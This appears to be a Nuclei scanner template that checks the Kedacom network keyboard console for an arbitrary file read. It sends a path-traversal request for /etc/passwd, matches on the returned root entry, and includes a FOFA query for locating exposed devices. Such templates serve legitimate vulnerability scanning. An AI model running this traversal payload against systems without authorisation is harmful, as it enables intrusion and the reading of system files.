id: kedacom-network-lfi

info:
  name: Kedacom Network Keyboard Console - Arbitrary File Read
  author: DhiyaneshDk
  severity: high
  description: |
    There is an arbitrary file reading vulnerability in the KEDACOM network keyboard console. Attacking this vulnerability can read arbitrary information from the server
  reference:
    - https://github.com/Threekiii/Awesome-POC/blob/master/Web%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E/%E7%A7%91%E8%BE%BE%20%E7%BD%91%E7%BB%9C%E9%94%AE%E7%9B%98%E6%8E%A7%E5%88%B6%E5%8F%B0%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E.md
  metadata:
    verified: true
    max-request: 1
    fofa-query: "网络键盘控制台"
  tags: lfi,kedacom,network,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: word
        part: header
        words:
          - "text/html"
          - "Server: kedacom-hs"
        condition: and

      - type: status
        status:
          - 200
# digest: 490a00463044022020b6218a690d97543492056bf49b60ec380e5d5aa576133fb0b5612ba78a0534022040d6f707d0c510fe9e29c04e685994d24ed8307d19a5a8f676fd10011e5b02c1:922c64590222798bb761d5b6d8e72950